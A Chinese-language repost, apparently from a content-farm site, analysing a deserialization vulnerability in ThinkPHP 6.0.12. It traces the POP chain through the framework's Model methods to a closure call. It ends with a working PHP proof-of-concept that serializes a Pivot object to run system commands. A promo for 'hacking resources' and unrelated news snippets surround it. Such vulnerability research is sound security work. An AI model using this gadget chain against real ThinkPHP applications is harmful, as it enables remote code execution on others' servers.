范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

Thinkphp最新版本漏洞分析

  环境
  Thinkphp6.0.12LTS(目前最新版本);
  PHP7.3.4。 安装composer create-project topthink/think tp6  测试代码
  漏洞分析
  漏洞起点不是 __desturct  就是__wakeup  全局搜索下,起点在vendor	opthink	hink-ormsrcModel.php
  只要把 this->lazySave  设为True  ,就会调用了save  方法。
  【一>所有资源关注我,私信回复"资料"获取<一】
  1、网络安全学习路线
  2、电子书籍(白帽子)
  3、安全大厂内部视频
  4、100份src文档
  5、常见安全面试题
  6、ctf大赛经典题目解析
  7、全套工具包
  8、应急响应笔记
  跟进 save  方法,漏洞方法是updateData  ,但需要绕过①且让②为True  ,①调用isEmpty  方法。
  public function save(array $data = [], string $sequence = null): bool     {         // 数据对象赋值         $this->setAttrs($data);         if ($this->isEmpty() || false === $this->trigger("BeforeWrite")) {             return false;         }         $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
  跟进 isEmpty  方法,只要$this->data  不为空就行。
  $this->trigger  方法默认返回就不是false  ,跟进updateData  方法。漏洞方法是checkAllowFields  默认就会触发。
  protected function updateData(): bool     {         // 事件回调         if (false === $this->trigger("BeforeUpdate")) {             return false;         }         $this->checkData();          // 获取有更新的数据         $data = $this->getChangedData();          if (empty($data)) {             // 关联更新             if (!empty($this->relationWrite)) {                 $this->autoRelationUpdate();             }             return true;         }         if ($this->autoWriteTimestamp && $this->updateTime) {             // 自动写入更新时间             $data[$this->updateTime]       = $this->autoWriteTimestamp();             $this->data[$this->updateTime] = $data[$this->updateTime];         }         // 检查允许字段         $allowFields = $this->checkAllowFields();
  跟进 checkAllowFields  方法,漏洞方法是db  ,默认也是会触发该方法,继续跟进。
  protected function checkAllowFields(): array     {         // 检测字段         if (empty($this->field)) {             if (!empty($this->schema)) {                 $this->field = array_keys(array_merge($this->schema, $this->jsonType));             } else {                 $query = $this->db();
  跟进 db  方法,存在$this->table . $this->suffix  字符串拼接,可以触发__toString  魔术方法,把$this->table  设为触发__toString  类即可。
  public function db($scope = []): Query     {         /** @var Query $query */         $query = self::$db->connect($this->connection)             ->name($this->name . $this->suffix)             ->pk($this->pk);         if (!empty($this->table)) {             $query->table($this->table . $this->suffix);         }
  全局搜索 __toString  方法,最后选择vendor	opthink	hink-ormsrcmodelconcernConversion.php  类中的__toString  方法。
  跟进 __toString  方法,调用了toJson  方法。
  跟进 toJson  方法,调用了toArray  方法,然后以JSON格式返回。
  跟进 toArray  方法,漏洞方法是getAtrr  默认就会触发,只需把$data  设为数组就行。
  public function toArray(): array     {         $item       = [];         $hasVisible = false;          foreach ($this->visible as $key => $val) {             if (is_string($val)) {                 if (strpos($val, ".")) {                     [$relation, $name]          = explode(".", $val);                     $this->visible[$relation][] = $name;                 } else {                     $this->visible[$val] = true;                     $hasVisible          = true;                 }                 unset($this->visible[$key]);             }         }         foreach ($this->hidden as $key => $val) {             if (is_string($val)) {                 if (strpos($val, ".")) {                     [$relation, $name]         = explode(".", $val);                     $this->hidden[$relation][] = $name;                 } else {                     $this->hidden[$val] = true;                 }                 unset($this->hidden[$key]);             }         }          // 合并关联数据         $data = array_merge($this->data, $this->relation);          foreach ($data as $key => $val) {             if ($val instanceof Model || $val instanceof ModelCollection) {                 // 关联模型对象                 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {                     $val->visible($this->visible[$key]);                 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {                     $val->hidden($this->hidden[$key]);                 }                 // 关联模型对象                 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {                     $item[$key] = $val->toArray();                 }             } elseif (isset($this->visible[$key])) {                 $item[$key] = $this->getAttr($key);             } elseif (!isset($this->hidden[$key]) && !$hasVisible) {                 $item[$key] = $this->getAttr($key);
  跟进 getAttr  方法,漏洞方法是getValue  ,但传入getValue  方法中的$value  是由getData  方法得到的。
  public function getAttr(string $name)     {         try {             $relation = false;             $value    = $this->getData($name);         } catch (InvalidArgumentException $e) {             $relation = $this->isRelationAttr($name);             $value    = null;         }          return $this->getValue($name, $value, $relation);
  跟进 getData  方法,$this->data  可控,$fieldName  来自getRealFieldName  方法。
  跟进 getRealFieldName  方法,默认直接返回传入的参数。所以$fieldName  也可控,也就是传入getValue  的$value  参数可控。
  跟进 getValue  方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure  进行判断。此次漏洞方法的getJsonValue  方法。但需要经过两个if判断,$this->withAttr  和$this->json  都可控,可顺利进入getJsonValue  方法。
  protected function getValue(string $name, $value, $relation = false)     {         // 检测属性获取器         $fieldName = $this->getRealFieldName($name);          if (array_key_exists($fieldName, $this->get)) {             return $this->get[$fieldName];         }          $method = "get" . Str::studly($name) . "Attr";         if (isset($this->withAttr[$fieldName])) {             if ($relation) {                 $value = $this->getRelationValue($relation);             }             if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {                 $value = $this->getJsonValue($fieldName, $value);
  跟进 getJsonValue  方法,触发漏洞的点在$closure($value[$key], $value)  只要令$this->jsonAssoc  为True  就行。
  $closure  和$value  都可控。
  protected function getJsonValue($name, $value)     {         if (is_null($value)) {             return $value;         }          foreach ($this->withAttr[$name] as $key => $closure) {             if ($this->jsonAssoc) {                 $value[$key] = $closure($value[$key], $value);  完整POP链条
  POC编写<?php namespace think{     abstract class Model{         private $lazySave = false;         private $data = [];         private $exists = false;         protected $table;         private $withAttr = [];         protected $json = [];         protected $jsonAssoc = false;         function __construct($obj = ""){             $this->lazySave = True;             $this->data = ["whoami" => ["dir"]];             $this->exists = True;             $this->table = $obj;             $this->withAttr = ["whoami" => ["system"]];             $this->json = ["whoami",["whoami"]];             $this->jsonAssoc = True;         }     } } namespace thinkmodel{     use thinkModel;     class Pivot extends Model{     } }  namespace{     echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot())))); }  利用

苹果手机环保有多强今日热点苹果在2年前跟地球许下2030年碳中和的承诺,苹果表示,从设计制造,到使用回收,在每一台Apple产品上,都力求减少碳排放。现在公布了两年后的环保成绩单。以iPhone做例苹果可能会为新iMac跳级换上M3芯片苹果已经完成了M1系列芯片的布局,业界正在等待M2的到来。然而,最新消息指,该公司似乎已经在为Mac准备M3芯片。根据彭博社记者马克古尔曼(MarkGurman)的说法,苹果正在研手机内存不足怎么清理?只需四步操作,让手机运转如飞日常生活中,很多朋友的手机内存有限,用一段时间后,就很容易出现内存不足,卡顿变慢,使用起来非常烦人。那么,手机内存不足怎么清理呢?今天,孙师傅小窍门小妙招就给大家分享两种清理手机垃果粉震怒!手机品质的巅峰不是iPhone?网友你们还是太年轻近几年来,随着人们对手机品质的选择标准变得越来越高,手机领域的内卷现象也变得日益严重。索尼卷相机参数三星卷屏幕质量荣耀卷手机配置这给不少手机品牌带来了巨大的发展压力。不过,机圈无论冲上热搜!华为手机回来了,明晚发布新一代折叠屏手机4月27日,华为终端业务CEO余承东爆料了一则华为重磅消息,冲上了微博热搜。据悉,4月28日晚间,华为将发布新一代折叠屏手机HUAWEIMateXs2,也是华为第五款折叠屏手机。来软通动力子公司鸿湖万联成为华为首批OpenHarmony生态伙伴中证网讯(王珞)近日,软通动力旗下全资子公司鸿湖万联(江苏)科技发展有限公司与华为签署OpenHarmony合作协议。鸿湖万联将基于OpenHarmony,凭借自身技术实力与行业经华为手机供货已全面恢复,你还会考虑吗?华为4月28日迎来折叠屏及全场景发布会,而华为常务董事终端BGCEO余承东的新品预热视频也正式官宣。我们来看看亮点吧。供应链极大程度改善,余承东表示,去年我们华为手机供应很困难,今车易买桩难安个人充电桩卡在最后一公里阅读提示去年以来,国内新能源汽车消费持续升温,私人乘用车市场销售爆发。然而,一些车主买车后却发现,安装个人充电桩面临重重障碍。随着新能源私家车数量快速增长,家庭用车充电难的问题日渐17款移动App存在隐私不合规行为被通报来源央视新闻客户端国家计算机病毒应急处理中心近期通过互联网监测发现17款移动App存在隐私不合规行为,违反网络安全法个人信息保护法等相关规定,涉嫌超范围采集个人隐私信息。1未向用户办理银行卡一定要开通短信通知吗?不开通会不会更安全呢?财智成功认为,银行卡不需要开通短信通知,银行存款安全并不在于开通了短信。众所周知,银行卡的年费小额账户管理费短信通知费用,这是办理银行卡最容易遇到的三项费用。年费和小额账户管理费每2022年手机芯片怎么选?天玑9000对标骁龙8系列性能稳定功耗较小2022年手机芯片怎么选?高通联发科各有优劣,天玑9000对标骁龙8系列,性能稳定功耗较小本文原创,禁止搬运和抄袭,违者必究!导语说起来,一部能被叫好的手机,灵魂就是搭载的手机芯片
动视暴雪(ATVI。US)CEO曾遭降薪50如今却有望从微软(MSFT。US)收购中大赚3。75亿美元横财去年,动视暴雪(ATVI。US)首席执行官BobbyKotick遭降薪50,但在今年,他将有望获得一笔3。753亿美元的横财。智通财经APP了解到,这是在微软(MSFT。US)完成德国产特斯拉ModelY或将于3月上市来源盖世汽车星云据外媒报道,特斯拉位于德国柏林附近格伦海德(Grnheide)的工厂目前似乎正处于启动ModelY大规模生产的最后阶段。从技术角度来讲,该工厂的进展可能十分顺利,几支付宝五福活动开始了2022年1月19日凌晨零点开始支付宝集五福活动,正式和广大用户见面了。小上我观察了一下今年的支付宝集五福活动的集福卡的方式和去年是差不多的,主要是通过扫福字写福字森林巡逻捐蛋摇一蚂蚁集团回应减持众安保险系正常投资决策据凤凰科技,蚂蚁集团对众安保险持股数量减持46,537,063股,持股比例从13。54下降至10。37。众安保险的另外两大股东腾讯和中国平安的持股比例不变,均为10。2054。对此基金新能源继续大跌,今天需要加仓吗今天的市场又是一片绿油油,指数跌的不多,个股却跌的惨不忍睹,新能源板块科技半导体板块医疗板块军工板块继续大跌,赚钱效应很差,很多人问今天新能源板块能抄底吗?我们先来看以下板块分析1125名快递小哥禁毒立功!公安部门奖励84。8万元随着近年来互联网新业态和寄递行业快速发展,一些不法分子利用互联网寄递这种非接触方式走私贩运毒品,寄递渠道涉毒问题呈快速增多态势。记者1月19日从公安部获悉,公安部会同国家邮政局等部一加10pro,对于这款手机,我还是有点失望的,大家感觉呢?感谢您的阅读!为了做成差异化,这款手机的外观设计确实和很多的手机不同。至于美不美,我觉得每个人都有自己评价的标准,至少从我的角度我并不会觉得好看。这款手机有几个重点和大家先聊一下。预算买3200以内,12256拍照好点的手机,哪款值得入手?就这个要求和预算的话,建议题主考虑一下各家的线下机,因为线上机在影像上面往往都不是很重视,就算给了你还算不错的影像硬件,但是在算法和玩法上和线下机的差距比较大,手感做工上面,线下机微软公司发文披露乌克兰政府机构系遭恶意软件攻击来源参考消息网参考消息网1月17日报道据美联社波士顿1月15日报道,微软公司15日晚间称,乌克兰政府机构的数十个计算机系统感染了伪装成勒索软件具有严重破坏性的恶意软件,但受影响的政网贷35万,快撑不住了,逾期了还能正常工作吗?第一,你有正式单位,有缴纳五险一金的,那你就要协商如何还款,不然电话打到单位,肯定不好受,严重的会给辞退,劝退。第二,灵活就业人士,任何信息,电话可以不接不理睬。你接不接电话,结果京东备战春晚红包徐雷总负责,成立8个项目组品玩1月18日讯,据Tech星球报道,京东春晚红包项目由京东集团总裁徐雷整体负责,京东零售CEO辛利军牵头,同时京东零售平台业务中心负责人林琛和京东零售市场营销与商业化中心负责人邵